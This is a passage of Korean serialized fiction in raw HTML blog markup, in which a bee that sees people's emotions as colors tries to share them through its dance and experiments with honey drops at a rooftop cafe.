&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;벌집 안은 익숙한 노랑과 연한 갈색의 세계였다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;동료 벌들은 각자의 춤으로 오늘의 꽃밭과 꿀의 위치를 전하고 있었다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나에게도 차례가 왔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 통로 중앙에 섰다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;수십 개의 눈과 더듬이가 기다리는 가운데, 날개와 몸을 움직이기 시작했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;원래라면, 나는 오늘 본 꽃의 위치를 말했어야 했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 오늘 내가 보고 온 것은 꽃이 아니라, 사람들의 우울과 불안의 색이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 처음으로, 꿀이 아닌 색을 춤으로 전하려 했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지하철의 레몬빛을 떠올리며, 몸을 작게 흔들었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공원의 노란 선을 생각하며, 약간 더 큰 원을 그렸다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;병원의 금빛 실을 떠올리며, 몸통을 아주 조금씩 기울였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그리고 마지막으로, 병원 앞 벤치의 잿빛을 떠올렸다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 색이 내 가슴께에 달라붙어 있음을 느끼며, 날갯짓의 속도를 일부러 늦췄다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;몸을 조금 더 무겁게 흔들었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;춤이 끝났을 때, 나는 숨이 찼다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그러나 동료들의 반응은 내가 예상한 것과 달랐다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;오늘은 꽃이 별로 없나 봐.&amp;rdquo;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;꿀이 멀리 있다는 뜻인가?&amp;rdquo;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;ldquo;방향이 애매한데&amp;hellip; 어디로 가라는 건지 잘 모르겠어.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그들 눈에는, 내 춤이 그저 불분명한 정보 전달처럼 보였을 뿐이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;레몬빛과 금빛, 잿빛과 마젠타, 바이올렛의 복잡한 조합은,&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그들에게는 단지 &amp;lsquo;엇갈린 방향&amp;rsquo;과 &amp;lsquo;흐릿한 거리 정보&amp;rsquo;로만 번역되고 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 그제야 깨달았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;행복과 우울의 색을 보는 눈이 생겼다고 해서,&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그걸 바로 누군가에게 전할 수 있는 언어가 생기는 것은 아니라는 것을.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;내 춤은 실패했다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;우울의 꽃밭을 전하려던 몸짓은, 꿀이 적은 날의 애매한 보고로만 받아들여졌다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;경계 위의 벌&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;춤이 끝난 뒤, 나는 한쪽 구석으로 물러났다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;가슴께에 붙어 있던 잿빛은 여전히 떨어지지 않았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;동료들은 각자의 춤을 해석하며, 꽃을 향해 날아올 준비를 하고 있었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그들 눈에는, 오늘도 세계는 꿀과 꽃의 위치로 이루어진 단순한 지도였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나만, 그 지도 위에 다른 레이어를 한 겹 더 보고 있는 셈이었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;우울과 불안, 마젠타의 고독, 바이올렛의 성장통, 블루의 침묵, 그린의 지침.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 치료자가 아니다. 나는 관측자에 가깝다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그런데 이상하게도, 끝까지 지켜보려는 마음이&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;어쩌면 가장 작은 치료에 가까운지도 모르겠다는 생각을 요즘 한다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;하지만 오늘, 나는 관측자조차 아니었다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;전하려 했다가, 제대로 전하지 못한 자에 가까웠다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;번역에 실패한 목격자.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그래도 한 가지는 분명해졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;우울의 꽃밭은, 도시 전역에 흩어져 있다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;지영만의 색이 아니라, 각자의 방식으로 피고 지는 수많은 잿빛과 마젠타의 군락.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그리고 그 꽃밭을 바라본 눈에는, 그 잿빛이 쉽게 떨어지지 않는다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;공감은, 때로는 이런 식으로 시작된다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;남의 색이 내 몸에 달라붙어, 쉽게 씻겨 나가지 않는 것.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;나는 아직 이 무게를 어떻게 다뤄야 할지 모른다.&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;다만, 이 무게를 안고도 내일 다시 도시 위를 날 수 있다면&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #000000;&quot;&gt;언젠가는 이 색들을 조금 더 잘 춤으로, 말로, 무언가의 형태로 전할 수 있을지도 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;그 희미한 가능성 하나가, 잿빛으로 무거워진 내 날개를 겨우 들어 올려 준다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;5편 . 빛을 섞는 법&lt;/span&gt;&lt;/h2&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;빛을 오래 보다 보면, 한 가지 욕심이 생긴다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lsquo;이 색과 저 색을 섞으면, 조금 더 따뜻해지지 않을까?&amp;rsquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 오랫동안, 색을 그저 받아 적는 눈이었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꽃의 길을 읽고, 인간의 빛을 관찰하고, 꿀과 함께 마음속 어딘가에 저장하는 기록자.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 우울의 꽃밭을 돌아온 뒤로는, 가만히 적는 것만으로는 어딘가 부족하다는 생각이 들기 시작했다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꽃빛과 사람빛&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;옥상 카페 옆 화분에는 라벤더가 피어 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;보라색 꽃잎 위 자외선 무늬는, 우리에게만 보이는 화살표처럼 꿀집을 가리키고 있었다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;라벤더의 빛은 언제나 일정했다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;바이올렛과 옐로우 사이 어딘가, 조금 차분하고, 조금 위로하는 계열의 색. &lt;/span&gt;&lt;span style=&quot;color: #0070d1;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;도시의 날씨와 상관없이, 이 꽃은 늘 같은 길을 내주었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 옆, 카페 유리문 안쪽에는 사람이 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지영을 비롯해, 하루에도 수십 명씩 드나드는 손님들.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어떤 손님은 레몬빛 웃음을 가지고 왔다가, 그린빛 피로를 남기고 갔다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어떤 손님은 잿빛 걱정을 들고 왔다가, 마젠타의 쉼을 조금 가지고 나갔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 문을 사이에 두고, 두 종류의 빛을 번갈아 보았다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;한쪽은 꽃의 빛, 한쪽은 인간의 빛.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lsquo;이 둘을, 조금 섞어 보면 어떨까.&amp;rsquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 생각은 위험하고도 매혹적인 제안처럼 느껴졌다.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;첫 번째 실험 &amp;ndash; 손잡이 위의 노랑&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;내가 처음으로 빛을 &amp;ldquo;섞어 보려고&amp;rdquo; 마음먹은 대상은, 카페 문 손잡이였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;많은 사람들이 그 손잡이를 잡고, 안으로 들어왔다 나갔다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;손잡이는 하루 종일 수많은 색을 통과시키는 좁은 문 같았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 라벤더에 앉아 충분히 꿀을 모았다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꽃의 바이올렛과 옐로우가 섞인, 부드러운 위로의 맛.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그리고 문 손잡이 위로 날아가, 아주 작은 방울을 떨어뜨렸다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;벌집에서는 절대로 해서는 안 될 행동이었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꿀은 집으로 가져가야지, 이런 곳에 흘리는 게 아니니까.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 이건 꿀을 버리는 행동이 아니라, 빛을 섞어 보는 실험에 더 가까웠다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;잠시 후, 한 사람이 다가와 손잡이를 잡았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;머리 위에는 옅은 블루가 떠 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;말을 아끼고, 속으로만 삼키는 사람들의 색.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그의 손이 내가 떨어뜨린 꿀 방울 위를 스쳐 지나갈 때, 나는 그 주변 공기의 변화를 보았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;블루 속에 아주 약간의 옐로우가 번졌다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;마치, 찬 물 위에 따뜻한 차를 한 방울 떨어뜨린 것처럼.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 변화는 매우 미세해서, 아마 그 본인은 느끼지 못했을 것이다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그럼에도 손잡이 근처의 공기는, 방금 전보다 조금 부드러워 보였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;ldquo;이게&amp;hellip; 섞인 건가?&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 확신할 수 없었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꽃의 빛과 인간의 빛이 서로 영향을 주고받는 건지,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;아니면 내 마음이 보고 싶은 대로 보고 있는 것인지.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;작은 친절의 색 변화&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그날 오후, 카페 안에서 아주 작은 장면 하나가 눈에 들어왔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;창가 자리, 노트북을 펼쳐 놓고 앉아 있던 한 사람이 컵을 엎질렀다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;진한 커피가 테이블 위로 쏟아졌고, 그의 머리 위 잿빛이 순간적으로 진해졌다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 옆을 지나던 다른 손님이, 아무 말 없이 휴지를 건넸다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;옷소매로 물을 닦으려다 멈추고, 대신 휴지를 받는 그 순간.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;잿빛이 약간 옅어졌다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;아주 조금이었지만, 그 틈으로 레몬빛이 스며들었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;휴지를 건넨 사람의 머리 위에는 원래 그린이 떠 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;관계의 피로와 지침이 섞인 색.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그런데 손을 내밀 때, 그린 속에 오렌지가 잠깐 번쩍였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;오렌지는 활발함과 창의, &amp;lsquo;먼저 다가가는 힘&amp;rsquo;의 색이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 장면은 너무 짧아서, 누구도 기억하지 않을 것이다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;카페 CCTV에도 제대로 잡히지 않았을 것이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;하지만 내 눈에는, 두 사람의 빛이 동시에 조금씩 변하는 것이 분명히 보였다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 생각했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;lsquo;작은 친절이란, 사실 색의 미세한 조합을 바꾸는 일일지도 모른다.&amp;rsquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;한쪽에서는 그린에 오렌지가,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;다른 쪽에서는 잿빛에 레몬과 옅은 옐로우가 섞이는 것.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;두 번째 실험 &amp;ndash; 포장해 나가는 꿀&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 실험을 한 번 더 해 보기로 했다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이번에는 문 손잡이가 아니라, 테이크아웃 컵 뚜껑이었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;지영이 직접 만든 꿀 라떼.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그 라떼에는 이미 꽃에서 온 꿀이 들어 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 그 위에 아주 얇게, 꽃에서 갓 가져온 꿀을 한 방울 더 얹었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꽃의 바이올렛과 옐로우, 카페의 오렌지와 브라운,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그리고 손님이 가진 빛이 만나면 어떤 색이 될까 궁금했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;컵을 들고 나가는 손님의 머리 위에는 회색과 블루가 섞여 있었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;야근이 잦은 사람들의 색, 해야 할 말보다 해야 할 일이 더 많은 사람들의 색.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;문을 나설 때, 그의 머리 위에서 작은 변화가 일어났다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;블루의 가장자리에 터쿼이즈가 살짝 올라왔다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;조금 더 가벼운 파랑, 숨을 한 번 깊게 들이켠 사람의 색.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&amp;ldquo;내 방울 때문일까, 아니면 이곳에서 받은 다른 친절들 때문일까.&amp;rdquo;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;나는 스스로에게 물었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;정답을 알 수 없었다.&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;아마 둘 다일지도 모르고, 둘 다 아닐지도 모른다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그럼에도 한 가지는 느낄 수 있었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;꽃의 꿀과 인간의 감정 빛은, 서로를 전혀 모르는 채 섞이지만,&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;어떤 날에는 그 섞임이 누군가의 하루를 아주 미세하게 바꾸기도 한다는 것을.&lt;/span&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;개입과 관찰 사이&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;실험을 거듭할수록, 내 안의 질문은 더 커졌다.&lt;/span&gt;&lt;/p&gt;
